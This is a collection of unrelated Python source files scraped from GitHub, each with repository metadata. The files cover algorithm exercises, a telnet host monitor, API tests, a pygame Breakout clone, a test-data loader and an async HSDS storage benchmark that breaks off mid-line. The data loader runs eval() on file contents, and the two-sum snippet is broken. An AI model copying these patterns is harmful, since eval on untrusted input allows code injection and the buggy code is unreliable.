result[::-1])\nelse:\n print(\"I'm Sorry Hansoo\")\n","repo_name":"hyunha95/algorithm-study","sub_path":"CSH/python/baekjoon/greedy/P1213_팰린드롬_만들기.py","file_name":"P1213_팰린드롬_만들기.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8512200310","text":"#!/usr/bin/python \n\nimport telnetlib\nimport re\nimport json\nimport argparse\n\nhosts = [\n {'host': '192.168.106.151', 'port': 6666, 'send': 'PING\\n', 'reply': '(PONG)'},\n {'host': '192.168.106.153', 'port': 6666, 'send': 'PING\\n', 'reply': '(PONG)'},\n {'host': '192.168.106.168', 'port': 6666, 'send': 'PING\\n', 'reply': '(PONG)'}\n]\n\ndef sendtest(hostlist):\n\n #Dict para retorno de dados\n result = {}\n result['data'] = []\n\n for info in hostlist:\n try:\n tn = telnetlib.Telnet(info['host'],int(info['port']))\n tn.write(info['send'])\n reply = tn.read_all()\n\n if re.search(info['reply'],reply):\n #print('OK')\n result['data'].append({'host': info['host'], 'status' : 'OK'})\n else:\n #print('No data')\n result['data'].append({'host': info['host'], 'status' : 'KO'})\n except Exception as e:\n #print(e)\n result['data'].append({'host': info['host'], 'status' : str(e)})\n\n return result\n\ndef discovery_def():\n result = sendtest(hosts)\n print(json.dumps(result))\n\ndef read_def():\n print('Read')\n\n#Mapa de valores:\nfmap = { 'discovery': discovery_def, 'read': read_def }\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(prog='Host Monitor')\n parser.add_argument('commands', choices=fmap.keys())\n #, help='Gerar JSON LLD para Zabbix')\n #parser.add_argument('read', choices=fmap.keys(), help='Ler os dados gravados e retornar status do host')\n args = parser.parse_args()\n func = fmap[args.commands]\n func()\n\n","repo_name":"wjesus374/alternative_telnet","sub_path":"lld_telnet.py","file_name":"lld_telnet.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27894521869","text":"from threading import Event, Lock\nimport cv2\n\nis_recording = Event()\nis_exiting = Event()\n\ndef toggle_recording():\n if is_recording.is_set():\n is_recording.clear()\n else:\n is_recording.set()\n\n#is_recording = False\n#is_not_exiting = True\n\nscreen_cap_scale = 10\n\ndef crop_to_new_aspect_ratio(img, img_dim: tuple, aspect_ratio: tuple, end_size: tuple):\n \"\"\"Returns the cropped and resized image.\"\"\"\n w = img_dim[0]\n h = img_dim[1]\n aw = aspect_ratio[0]\n ah = aspect_ratio[1]\n x = w // aw\n if not (aw * x <= w and ah * x <= h):\n x = h // ah\n assert(aw * x <= w and ah * x <= h)\n h_space = (h - (ah * x)) // 2\n w_space = (w - (aw * x)) // 2\n roi = img[h_space:(h-h_space), w_space:(w - w_space)]\n return cv2.resize(roi, end_size)\n\nFPS = 10\n\nHISTORY_LENGTH = FPS\n\nMAX_CHUNK_SIZE = 10000000\n#MAX_CHUNK_SIZE = 2000\n\nKEY_THRESHOLD = 0.6\n\nmonitor_region = {'top': 0, 'left': 0, 'width': 1920, 'height': 1080}\n\nscreen_cap_sizes = ((monitor_region['width'] - monitor_region['left']) // screen_cap_scale, (monitor_region['height'] - monitor_region['top']) // screen_cap_scale)\n\nscreen_cap_sizes_unscaled = ((monitor_region['width'] - monitor_region['left']), (monitor_region['height'] - monitor_region['top']))\n\nscreen_cap_resolution = screen_cap_sizes[0] * screen_cap_sizes[1]","repo_name":"TheNthMichael/NNBot-NoLargeFiles","sub_path":"stateManager.py","file_name":"stateManager.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"34889116430","text":"import datetime\n\nfrom tests import factories\nfrom tests.common import ApiBaseTest\n\nfrom webservices.rest import api\nfrom webservices.resources.filings import FilingsView, FilingsList\n\n\nclass TestFilings(ApiBaseTest):\n\n def test_committee_filings(self):\n \"\"\" Check filing returns with a specified committee id\"\"\"\n committee_id = 'C8675309'\n factories.FilingsFactory(committee_id=committee_id)\n\n results = self._results(api.url_for(FilingsView, committee_id=committee_id))\n self.assertEqual(results[0]['committee_id'], committee_id)\n\n def test_candidate_filings(self):\n candidate_id = 'P12345'\n factories.FilingsFactory(candidate_id=candidate_id)\n results = self._results(api.url_for(FilingsView, candidate_id=candidate_id))\n self.assertEqual(len(results), 1)\n self.assertEqual(results[0]['candidate_id'], candidate_id)\n\n def test_filings(self):\n \"\"\" Check filings returns in general endpoint\"\"\"\n factories.FilingsFactory(committee_id='C001')\n factories.FilingsFactory(committee_id='C002')\n\n results = self._results(api.url_for(FilingsList))\n self.assertEqual(len(results), 2)\n\n def test_filter_date(self):\n [\n factories.FilingsFactory(receipt_date=datetime.date(2012, 1, 1)),\n factories.FilingsFactory(receipt_date=datetime.date(2013, 1, 1)),\n factories.FilingsFactory(receipt_date=datetime.date(2014, 1, 1)),\n factories.FilingsFactory(receipt_date=datetime.date(2015, 1, 1)),\n ]\n min_date = datetime.date(2013, 1, 1)\n results = self._results(api.url_for(FilingsList, min_receipt_date=min_date))\n self.assertTrue(all(each for each in results if each['receipt_date'] >= min_date.isoformat()))\n max_date = datetime.date(2014, 1, 1)\n results = self._results(api.url_for(FilingsList, max_receipt_date=max_date))\n self.assertTrue(all(each for each in results if each['receipt_date'] <= max_date.isoformat()))\n results = self._results(api.url_for(FilingsList, min_receipt_date=min_date, max_receipt_date=max_date))\n self.assertTrue(\n all(\n each for each in results\n if min_date.isoformat() <= each['receipt_date'] <= max_date.isoformat()\n )\n )\n\n def test_filings_filters(self):\n [\n factories.FilingsFactory(committee_id='C0004'),\n factories.FilingsFactory(committee_id='C0005'),\n factories.FilingsFactory(candidate_id='H0001'),\n factories.FilingsFactory(beginning_image_number=123456789021234567),\n factories.FilingsFactory(form_type='3'),\n factories.FilingsFactory(primary_general_indicator='G'),\n factories.FilingsFactory(amendment_indicator='A'),\n factories.FilingsFactory(report_type='POST GENERAL'),\n factories.FilingsFactory(report_year=1999),\n factories.FilingsFactory(document_type='X'),\n factories.FilingsFactory(cycle=2000),\n ]\n\n filter_fields = (\n ('beginning_image_number', 123456789021234567),\n ('form_type', '3'),\n ('primary_general_indicator', 'G'),\n ('amendment_indicator', 'A'),\n ('report_type', 'Post General'),\n ('report_year', 1999),\n ('candidate_id', 'H0001'),\n ('document_type', 'X'),\n ('cycle', 2000),\n )\n\n # checking one example from each field\n orig_response = self._response(api.url_for(FilingsList))\n original_count = orig_response['pagination']['count']\n\n for field, example in filter_fields:\n page = api.url_for(FilingsList, **{field: example})\n # returns at least one result\n results = self._results(page)\n self.assertGreater(len(results), 0)\n # doesn't return all results\n response = self._response(page)\n self.assertGreater(original_count, response['pagination']['count'])\n\n def test_sort(self):\n [\n factories.FilingsFactory(beginning_image_number=2),\n factories.FilingsFactory(beginning_image_number=1),\n ]\n results = self._results(api.url_for(FilingsList, sort='beginning_image_number'))\n self.assertTrue(\n [each['beginning_image_number'] for each in results],\n [1, 2]\n )\n\n def test_sort_bad_column(self):\n response = self.app.get(api.url_for(FilingsList, sort='request_type'))\n self.assertEqual(response.status_code, 422)\n\n def test_regex(self):\n \"\"\" Getting rid of extra text that comes in the tables.\"\"\"\n factories.FilingsFactory(\n report_type_full='report {more information than we want}',\n committee_id='C007',\n form_type='RFAI',\n report_year=2004,\n )\n\n results = self._results(api.url_for(FilingsView, committee_id='C007'))\n\n self.assertEqual(results[0]['document_description'], 'RFAI: report 2004')\n","repo_name":"IMTorgRsrchProj/openFEC","sub_path":"tests/test_filings.py","file_name":"test_filings.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71770204408","text":"class Solution:\r\n def TwoSum(self,arr:List[int], target) -> List[List[int]]:\r\n\r\n for i in range(len(arr)):\r\n m = i + 1\r\n for k in arr[m:]:\r\n if arr[i] + k == target:\r\n return i, m\r\n m += 1\r\n\r\n\r\narr = list(map(float, input().split()))\r\ntarget = int(input())\r\nprint(list(TwoSum(arr, target)))\r\n","repo_name":"GenesisBlock3301/Data-Structure-and-Algorithm","sub_path":"LeetCode/sumNumber.py","file_name":"sumNumber.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"24330080877","text":"import pygame\nfrom setting import *\nfrom random import choice\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self, groups):\n super().__init__(groups)\n\n self.width = 200\n self.height = 30\n # image\n self.image = pygame.Surface((self.width, self.height))\n self.image.fill(\"yellow\")\n\n # pos\n self.rect = self.image.get_rect(midbottom=(WIN_WIDTH // 2, WIN_HEIGHT - 50))\n self.old_rect = self.rect.copy()\n\n # moving\n self.pos = pygame.math.Vector2(self.rect.topleft)\n self.dir = pygame.math.Vector2()\n self.speed = 500\n\n def input(self):\n keys = pygame.key.get_pressed()\n if keys[pygame.K_d]:\n self.dir.x = 1\n elif keys[pygame.K_a]:\n self.dir.x = -1\n else:\n self.dir.x = 0\n\n def win_collision(self):\n if self.rect.right > WIN_WIDTH:\n self.rect.right = WIN_WIDTH\n self.pos.x = self.rect.x\n if self.rect.left < 0:\n self.rect.left = 0\n self.pos.x = self.rect.x\n\n def update(self, dt):\n self.old_rect = self.rect.copy()\n self.input()\n self.win_collision()\n self.pos.x += self.dir.x * self.speed * dt\n self.rect.x = round(self.pos.x)\n\n\nclass Ball(pygame.sprite.Sprite):\n def __init__(self, groups, player, blocks):\n super().__init__(groups)\n\n # collision sprites\n self.player = player\n self.blocks = blocks\n\n # image\n self.image = pygame.Surface((30, 30))\n self.image.fill(\"red\")\n\n # pos\n self.rect = self.image.get_rect(midbottom=player.rect.midtop)\n self.old_rect = self.rect.copy()\n\n # moving\n self.pos = pygame.math.Vector2(self.rect.topleft)\n self.dir = pygame.math.Vector2((choice((1, -1)), -1))\n self.speed = 1200\n\n self.active = False\n\n def win_collision(self, dir):\n if dir == \"h\":\n if self.rect.left < 0:\n self.rect.left = 0\n self.pos.x = self.rect.x\n self.dir.x *= -1\n\n if self.rect.right > WIN_WIDTH:\n self.rect.right = WIN_WIDTH\n self.pos.x = self.rect.x\n self.dir.x *= -1\n\n if dir == \"v\":\n if self.rect.top < 0:\n self.rect.top = 0\n self.pos.y = self.rect.y\n self.dir.y *= -1\n\n if self.rect.bottom > WIN_HEIGHT:\n self.rect.bottom = WIN_HEIGHT\n self.pos.y = self.rect.y\n self.dir.y *= -1\n\n # if self.rect.bottom > WIN_HEIGHT:\n # self.active = False\n # self.dir.y = -1\n\n def collision(self, dir):\n all_sprites = pygame.sprite.spritecollide(self, self.blocks, False)\n if self.rect.colliderect(self.player.rect):\n all_sprites.append(self.player)\n\n if all_sprites:\n if dir == \"h\":\n for s in all_sprites:\n if self.rect.right >= s.rect.left and self.old_rect.right <= s.old_rect.left:\n self.rect.right = s.rect.left - 1\n self.pos.x = self.rect.x\n self.dir.x *= -1\n\n if self.rect.left <= s.rect.right and self.old_rect.left >= s.old_rect.right:\n self.rect.left = s.rect.right + 1\n self.pos.x = self.rect.x\n self.dir.x *= -1\n\n if getattr(s, \"health\", None):\n s.get_damage(1)\n\n if dir == \"v\":\n for s in all_sprites:\n if self.rect.bottom >= s.rect.top and self.old_rect.bottom <= s.old_rect.top:\n self.rect.bottom = s.rect.top - 1\n self.pos.y = self.rect.y\n self.dir.y *= -1\n\n if self.rect.top <= s.rect.bottom and self.old_rect.top >= s.old_rect.bottom:\n self.rect.top = s.rect.bottom + 1\n self.pos.y = self.rect.y\n self.dir.y *= -1\n\n if getattr(s, \"health\", None):\n s.get_damage(1)\n\n def update(self, dt):\n self.old_rect = self.rect.copy()\n\n if self.active:\n if self.dir.magnitude() != 0:\n self.dir = self.dir.normalize()\n\n self.pos.x += self.dir.x * self.speed * dt\n self.rect.x = round(self.pos.x)\n self.collision(\"h\")\n self.win_collision(\"h\")\n\n self.pos.y += self.dir.y * self.speed * dt\n self.rect.y = round(self.pos.y)\n self.collision(\"v\")\n self.win_collision(\"v\")\n\n else:\n self.rect.midbottom = self.player.rect.midtop\n self.pos = pygame.math.Vector2(self.rect.topleft)\n\n\nclass Block(pygame.sprite.Sprite):\n def __init__(self, block_type, pos, groups):\n super().__init__(groups)\n self.image = pygame.Surface((BLOCK_WIDTH, BLOCK_HEIGHT))\n self.image.fill(\"white\")\n self.rect = self.image.get_rect(topleft=pos)\n self.old_rect = self.rect.copy()\n\n self.health = int(block_type)\n\n def get_damage(self, amount):\n self.health -= amount\n\n if self.health > 0:\n pass\n else:\n self.kill()\n","repo_name":"piskelee/Breakout","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":5435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"4707370226","text":"import openpyxl\nimport yaml\nfrom utils.paths import DATA_DIR\n\n\nclass GetCaseData:\n \"\"\"用例数据处理类\"\"\"\n\n def get(self, file=None, sheet=None):\n \"\"\"\n 根据传入不同的file参数,返回相应的数据处理结果\n :param file: 数据文件名\n :param sheet: sheet表名\n :return: 处理后的数据\n \"\"\"\n if file.endswith('.xlsx'):\n file_path = DATA_DIR + '\\\\excel\\\\' + file\n return self.get_excel_data(filename=file_path, sheetname=sheet)\n elif file.endswith('.py'):\n file_path = DATA_DIR + '\\\\python\\\\' + file\n return self.get_python_data(filename=file_path)\n elif file.endswith('.txt'):\n file_path = DATA_DIR + '\\\\txt\\\\' + file\n return self.get_txt_data(filename=file_path)\n elif file.endswith('.yaml'):\n data_file = DATA_DIR + '\\\\yaml\\\\' + file\n return self.get_yaml_data(data_file)\n\n def get_excel_data(self, filename=None, sheetname=None):\n \"\"\"\n 读取excel用例数据,并处理返回\n :param filename: 管理用例数据的excel路径文件名\n :param sheetname: 表名\n :return: 处理后的数据\n \"\"\"\n excel_obj = openpyxl.load_workbook(filename=filename)\n sheet_obj = excel_obj[sheetname]\n data_set = list(sheet_obj.rows)\n\n keys = [key.value for key in data_set[0]]\n\n data = {'normal': [], 'except': []}\n for line in data_set[1:]:\n item = dict(zip(keys, [value.value for value in line]))\n data['normal'].append(item) if item['type'] == 'normal' else data['except'].append(item)\n return data\n\n def get_python_data(self, filename=None):\n \"\"\"\n 读取python用例数据集并返回\n :param filename: 数据保存python文件名称\n :return: 用例数据集\n \"\"\"\n str_datas = ''\n with open(file=filename, mode='r', encoding='utf-8') as f:\n for line in f.readlines():\n str_datas += line\n data_set = eval(str_datas)\n\n data = {'normal': [], 'except': []}\n for values in data_set[1:]:\n item = dict(zip(data_set[0], values))\n data['normal'].append(item) if item['type'] == 'normal' else data['except'].append(item)\n return data\n\n def get_txt_data(self, filename=None):\n \"\"\"\n 读取txt用例数据集并返回\n :param filename: 数据保存txt文件名称\n :return: 用例数据集\n \"\"\"\n with open(file=filename, mode='r', encoding='utf-8') as f:\n contents = f.readlines()\n keys = eval(contents[0])\n\n data = {'normal': [], 'except': []}\n for values in contents[1:]:\n item = dict(zip(keys, eval(values)))\n data['normal'].append(item) if item['type'] == 'normal' else data['except'].append(item)\n return data\n\n def get_yaml_data(self, filename=None):\n \"\"\"\n 读取yaml用例数据集并返回\n :param filename: 数据保存yaml文件名称\n :return: 用例数据集\n \"\"\"\n with open(file=filename, mode='r', encoding='utf-8') as f:\n contents = yaml.load(stream=f, Loader=yaml.FullLoader)\n\n data = {'normal': [], 'except': []}\n for item in contents:\n data['normal'].append(item) if item['type'] == 'normal' else data['except'].append(item)\n return data\n\n\ndata_obj = GetCaseData()\n","repo_name":"19983194361/pytest-interface","sub_path":"utils/handle_data.py","file_name":"handle_data.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10663164775","text":"#!/usr/bin/python3\r\n\r\n# Python code for the Advent of Code 2022, Day 12.\r\n#\r\n# Code author: Russell A. Edson\r\n# Date last modified: 12/12/2022\r\n\r\n# Read in puzzle input\r\nwith open('day12.txt') as file:\r\n heightmap = [list(line.strip()) for line in file]\r\n\r\n# We want to find the path through the area that leads from the start\r\n# 'S' to the end 'E' in the shortest amount of steps, moving only left,\r\n# right, up or down each move, and only to levels that are at most 1\r\n# higher than the current level. We can do this with a search\r\n# algorithm, keeping track of moves to check in a buffer.\r\nmap_size = (len(heightmap), len(heightmap[0]))\r\n\r\ndef locate(char):\r\n \"\"\"Return the (first) heightmap index for the given char.\"\"\"\r\n for i in range(len(heightmap)):\r\n for j in range(len(heightmap[i])):\r\n if heightmap[i][j] == char:\r\n return (i, j)\r\n return None\r\n\r\nstart_point = locate('S')\r\nend_point = locate('E')\r\n\r\ndef valid_move_char(current_char, next_char):\r\n \"\"\"True if a move can be made from current_char to next_char.\"\"\"\r\n if current_char == 'S':\r\n current_char = 'a'\r\n elif current_char == 'E':\r\n current_char = 'z'\r\n if next_char == 'S':\r\n next_char = 'a'\r\n elif next_char == 'E':\r\n next_char = 'z'\r\n return ord(next_char) - 1 <= ord(current_char)\r\n\r\ndef valid_move(current_index, next_index):\r\n \"\"\"True if a move can be made from current_index to next_index.\"\"\"\r\n current_height = heightmap[current_index[0]][current_index[1]]\r\n next_height = heightmap[next_index[0]][next_index[1]]\r\n return valid_move_char(current_height, next_height)\r\n\r\ndef moves_possible(index):\r\n \"\"\"Return the indices for possible moves from the given index.\"\"\"\r\n i, j = index\r\n current_char = heightmap[i][j]\r\n moves = []\r\n if i > 0:\r\n moves.append((i - 1, j))\r\n if j > 0:\r\n moves.append((i, j - 1))\r\n if i < map_size[0] - 1:\r\n moves.append((i + 1, j))\r\n if j < map_size[1] - 1:\r\n moves.append((i, j + 1))\r\n\r\n return list(filter(lambda other: valid_move(index, other), moves))\r\n\r\nstep_count = 0\r\nsteps = {start_point: step_count}\r\nmoves = moves_possible(start_point)\r\n\r\n# Part 1 requires us to find the number of moves from the start to the\r\n# end point 'E' with the best signal strength.\r\nend_reached = False\r\nwhile not end_reached:\r\n step_count = step_count + 1\r\n next_moves = []\r\n\r\n while moves:\r\n move = moves[0]\r\n moves = moves[1:]\r\n if heightmap[move[0]][move[1]] == 'E':\r\n end_reached = True\r\n if steps.get(move, None) is None:\r\n steps[move] = step_count\r\n next_moves = next_moves + moves_possible(move)\r\n moves = next_moves\r\n\r\n# The fewest steps required from 'S' to 'E' is\r\nprint(steps[end_point])\r\n\r\n# For Part 2, we want to find the shortest path from any 'a' height\r\n# to the end point 'E': or identically, the shortest path from 'E'\r\n# to a height of 'a'. We can do this using a similar algorithm as\r\n# above, but reversing the logic: he we step down by at most one\r\n# height per step, eminating out from the 'E' point.\r\ndef valid_move_char_part2(current_char, next_char):\r\n \"\"\"True if a move can be made from current_char to next_char.\"\"\"\r\n if current_char == 'S':\r\n current_char = 'a'\r\n elif current_char == 'E':\r\n current_char = 'z'\r\n if next_char == 'S':\r\n next_char = 'a'\r\n elif next_char == 'E':\r\n next_char = 'z'\r\n return ord(current_char) - 1 <= ord(next_char)\r\n\r\ndef valid_move_part2(current_index, next_index):\r\n \"\"\"True if a move can be made from current_index to next_index.\"\"\"\r\n current_height = heightmap[current_index[0]][current_index[1]]\r\n next_height = heightmap[next_index[0]][next_index[1]]\r\n return valid_move_char_part2(current_height, next_height)\r\n\r\ndef moves_possible_part2(index):\r\n \"\"\"Return the indices for possible moves from the given index.\"\"\"\r\n i, j = index\r\n current_char = heightmap[i][j]\r\n moves = []\r\n if i > 0:\r\n moves.append((i - 1, j))\r\n if j > 0:\r\n moves.append((i, j - 1))\r\n if i < map_size[0] - 1:\r\n moves.append((i + 1, j))\r\n if j < map_size[1] - 1:\r\n moves.append((i, j + 1))\r\n\r\n return list(filter(lambda other: valid_move_part2(index, other), moves))\r\n\r\nstep_count = 0\r\nsteps = {end_point: step_count}\r\nmoves = moves_possible_part2(end_point)\r\n\r\na_reached = False\r\na_point = None\r\nwhile not a_reached:\r\n step_count = step_count + 1\r\n next_moves = []\r\n\r\n while moves:\r\n move = moves[0]\r\n moves = moves[1:]\r\n if heightmap[move[0]][move[1]] == 'a' or \\\r\n heightmap[move[0]][move[1]] == 'S':\r\n a_reached = True\r\n a_point = move\r\n if steps.get(move, None) is None:\r\n steps[move] = step_count\r\n next_moves = next_moves + moves_possible_part2(move)\r\n if a_reached == True:\r\n break\r\n moves = next_moves\r\n\r\n# The fewest steps required from 'E' to 'a' is\r\nprint(steps[a_point])\r\n","repo_name":"RussellAndrewEdson/AdventOfCode","sub_path":"2022/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18525633966","text":"import sys\nimport time\nimport asyncio\nimport logging\nimport base64\nimport numpy as np\nfrom aiostream import stream, pipe\nfrom aiohttp import ClientSession, TCPConnector, ClientError\nimport h5pyd as h5py\n\nglobals = {}\n\n\nclass ThingItem:\n\n def __init__(self, name, age, version, data):\n self.name = name\n self.age = age\n self.version = version\n self.data = data\n\n\n# Storing approaches\n\ndef get_headers():\n \"\"\" Return http headers for hsds request \"\"\"\n headers = {}\n auth_string = globals[\"username\"] + \":\" + globals[\"password\"]\n auth_string = auth_string.encode(\"utf-8\")\n auth_string = base64.b64encode(auth_string)\n auth_string = auth_string.decode(\"utf-8\")\n auth_string = \"Basic \" + auth_string\n headers[\"Authorization\"] = auth_string\n return headers\n\n\ndef get_type_for_value(value):\n \"\"\" Return HSDS type for given value \"\"\"\n if isinstance(value, str):\n data_type = {\n \"charSet\": \"H5T_CSET_ASCII\",\n \"class\": \"H5T_STRING\",\n \"length\": len(value),\n \"strPad\": \"H5T_STR_NULLPAD\",\n }\n elif isinstance(value, int):\n data_type = \"H5T_STD_I32LE\"\n elif isinstance(value, float):\n data_type = \"H5T_IEEE_F32LE\"\n else:\n raise TypeError(\"unsupported type\")\n return data_type\n\n\nasync def create_attribute(obj_id, attr_name, value):\n logging.info(f\"create_attribute({obj_id}, {attr_name}, {value})\")\n if obj_id.startswith(\"g-\"):\n req = globals[\"endpoint\"] + \"/groups/\"\n elif obj_id.startswith(\"d-\"):\n req = globals[\"endpoint\"] + \"/datasets/\"\n else:\n raise ValueError(f\"invalid obj_id: {obj_id}\")\n\n req += obj_id + \"/attributes/\" + attr_name\n headers = get_headers()\n params = {\"domain\": globals[\"domain\"]}\n client = globals[\"client\"]\n\n attr_type = get_type_for_value(value)\n\n body = {\"type\": attr_type, \"value\": value}\n async with client.put(req, headers=headers, params=params, json=body) as rsp:\n if rsp.status != 201:\n msg = f\"PUT {req} failed with status: {rsp.status}, rsp: {rsp}\"\n logging.error(msg)\n globals[\"grp_failed_posts\"] += 1\n raise ClientError(f\"Unexpected error: status_code: {rsp.status}\")\n else:\n logging.info(f\"created attribute: {attr_name} for: {obj_id}\")\n globals[\"attribute_count\"] += 1\n\n\nasync def create_group(parent_grp_id, grp_name):\n logging.info(f\"create_group: {grp_name}\")\n req = globals[\"endpoint\"] + \"/groups\"\n headers = get_headers()\n params = {\"domain\": globals[\"domain\"]}\n client = globals[\"client\"]\n body = {\"link\": {\"id\": parent_grp_id, \"name\": grp_name}}\n group_id = None\n async with client.post(req, headers=headers, params=params, json=body) as rsp:\n if rsp.status != 201:\n logging.error(f\"POST {req} failed with status: {rsp.status}, rsp: {rsp}\")\n raise ClientError(f\"Unexpected error: status_code: {rsp.status}\")\n else:\n logging.info(f\"group: {grp_name} created\")\n rsp_json = await rsp.json()\n group_id = rsp_json[\"id\"]\n\n globals[\"group_count\"] += 1\n return group_id\n\n\nasync def create_dataset(parent_grp_id, dataset_name, value=None):\n logging.info(\"create_dataset: {dataset_name}\")\n req = globals[\"endpoint\"] + \"/datasets\"\n headers = get_headers()\n params = {\"domain\": globals[\"domain\"]}\n client = globals[\"client\"]\n dset_type = get_type_for_value(value)\n body = {\"type\": dset_type}\n dset_id = None\n\n # create the dataset\n async with client.post(req, headers=headers, params=params, json=body) as rsp:\n if rsp.status != 201:\n logging.error(f\"POST {req} failed with status: {rsp.status}, rsp: {rsp}\")\n raise ClientError(f\"Unexpected error: status_code: {rsp.status}\")\n else:\n logging.info(f\"dataset: {dataset_name} created\")\n rsp_json = await rsp.json()\n dset_id = rsp_json[\"id\"]\n\n # link the dataset as dataset_name\n req = globals['endpoint'] + \"/groups/\" + parent_grp_id + \"/links/\" + dataset_name\n body = {\"id\": dset_id}\n async with client.put(req, headers=headers, params=params, json=body) as rsp:\n if rsp.status != 201:\n logging.error(f\"PUT {req} failed with status: {rsp.status}, rsp: {rsp}\")\n raise ClientError(f\"Unexpected error: status_code: {rsp.status}\")\n else:\n logging.info(f\"dataset: {dataset_name} linked\")\n\n if value is None:\n return dset_id\n\n # write the scalar value\n req = globals[\"endpoint\"] + \"/datasets/\" + dset_id + \"/value\"\n body = {\"value\": value}\n async with client.put(req, headers=headers, params=params, json=body) as rsp:\n if rsp.status != 200:\n logging.error(f\"PUT {req} failed with status: {rsp.status}, rsp: {rsp}\")\n raise ClientError(f\"Unexpected error: status_code: {rsp.status}\")\n else:\n logging.info(f\"dataset: {dataset_name} written\")\n\n globals[\"dataset_count\"] += 1\n return dset_id\n\n\nasync def store(group_name):\n logging.info(f\"store({group_name})\")\n parent_grp_id = globals[\"parent_grp_id\"]\n group_id = await create_group(parent_grp_id, group_name)\n logging.info(f\"store: got group_id: {group_id} for group_name: {group_name}\")\n things = globals[\"things\"]\n\n for key, val in things.items():\n logging.debug(f\"{key}: {val}\")\n if isinstance(val, dict):\n logging.debug(\"dict\")\n val_grp_id = await create_group(group_id, key)\n logging.debug(f\"got val_grp_id: {val_grp_id}\")\n elif isinstance(val, ThingItem):\n logging.info(f\"ThingItem - create_group_attributes name for group: {group_id} \")\n val_grp_id = await create_group(group_id, key)\n await create_attribute(val_grp_id, \"name\", val.name)\n await create_attribute(val_grp_id, \"age\", val.age)\n await create_attribute(val_grp_id, \"version\", val.version)\n else:\n await create_dataset(group_id, key, value=val)\n\n\nasync def store_items(grp_names):\n task_limit = globals[\"task_limit\"]\n max_tcp_connections = globals[\"max_tcp_connections\"]\n session = ClientSession(loop=loop, connector=TCPConnector(limit=max_tcp_connections))\n globals[\"client\"] = session\n xs = stream.iterate(grp_names) | pipe.map(store, ordered=False, task_limit=task_limit)\n await xs\n await session.close()\n\n\n#\n# main\n#\nN = 100\nmax_tcp_connections = 10\ntask_limit = 10\nlog_level = \"error\"\ndomain = None\n\nusage = f\"usage {sys.argv[0]} [--N={N}] \"\nusage += f\"[--max-tcp-conn={max_tcp_connections}] [--task-limit={task_limit}] \"\nusage += f\"--loglevel={log_level}] domain\"\n\n\nif len(sys.argv) < 2 or sys.argv[1] in (\"-h\", \"--help\"):\n print(usage)\n sys.exit(1)\n\nfor arg in sys.argv:\n if arg == sys.argv[0]:\n continue\n if arg.startswith(\"-\"):\n s = \"--max-tcp-conn=\"\n if arg.startswith(s):\n max_tcp_connections = int(arg[len(s):])\n continue\n s = \"--task-limit=\"\n if arg.startswith(s):\n task_limit = int(arg[len(s):])\n continue\n s = \"--N=\"\n if arg.startswith(s):\n N = int(arg[len(s):])\n continue\n s = \"--loglevel=\"\n if arg.startswith(s):\n log_level = arg[len(s):]\n continue\n raise ValueError(f\"unexpected argument: {arg}\")\n domain = arg\n\nif not domain:\n print(usage)\n sys.exit(1)\n\nprint(f\"N: {N}\")\nprint(f\"max_tcp_connections: {max_tcp_connections}\")\nprint(f\"task_limit: {task_limit}\")\nprint(f\"log_level: {log_level}\")\nprint(f\"domain: {domain}\")\n\nif log_level == \"debug\":\n logging.basicConfig(format='%(asctime)s %(message)s', level=logging.DEBUG)\nelif log_level == \"info\":\n logging.basicConfig(format='%(asctime)s %(message)s', level=logging.INFO)\nelif log_level == \"warning\":\n logging.basicConfig(format='%(asctime)s %(message)s', level=logging.WARNING)\nelif log_level == \"error\":\n logging.basicConfig(format='%(asctime)s %(message)s', level=logging.ERROR)\nelse:\n raise ValueError(f\"unexepcted loglevel: {log_level}\")\n\n# set globals\n\nglobals[\"domain\"] = domain\nglobals[\"N\"] = N\nglobals[\"max_tcp_connections\"] = max_tcp_connections\nglobals[\"task_limit\"] = task_limit\nglobals[\"dataset_count\"] = 0\nglobals[\"group_count\"] = 0\nglobals[\"attribute_count\"] = 0\n\n\ntotRunningTime = 0\n\n# Creating test data\n\nchild = {}\nchild[\"name\"] = \"John\"\nchild[\"age\"] = \"32\"\nchild[\"address\"] = \"some street\"\n\nitm = ThingItem(\"Jens\", 42, 1, child)\n\nthings = {}\nthings[\"item1\"] = 42\nthings[\"item2\"] = \"string test\"\nthings[\"child1\"] = itm\nthings[\"child2\"] = itm\nthings[\"child3\"] = itm\nthings[\"child4\"] = itm\n\nglobals[\"things\"] = things\n\n\nloop = asyncio.get_event_loop()\n\n#\n# Running the test\n#\n\n\ntimingsData = np.zeros(N)\ntimingsIm = np.zeros(N)\n\nlogging.info(\"creating domain: {fqdn}\")\nwith h5py.File(domain, mode=\"w\") as f:\n start = time.time()\n g = f.require_group(\"/test\")\n globals[\"parent_grp_id\"] = g.id.id\n globals[\"endpoint\"] = f.id.http_conn.endpoint\n globals[\"username\"] = f.id.http_conn.username\n globals[\"password\"] = f.id.http_conn.password\n\ngrp_names = []\nfor i in range(N):\n grp_names.append(f\"g{i:04d}\")\nloop.run_until_complete(store_items(grp_names))\n\nend = time.time()\n\ntimingsData[i] = end - start\nprint(f\"Saving small datasets: {timingsData[i]:.2f} s\")\n\nim = np.random.randint(0, 10, size=[6000, 4000], dtype=np.int16)\n\nthings[\"im\"] = im\nstart = time.time()\nwith h5py.File(domain, mode=\"a\") as f:\n 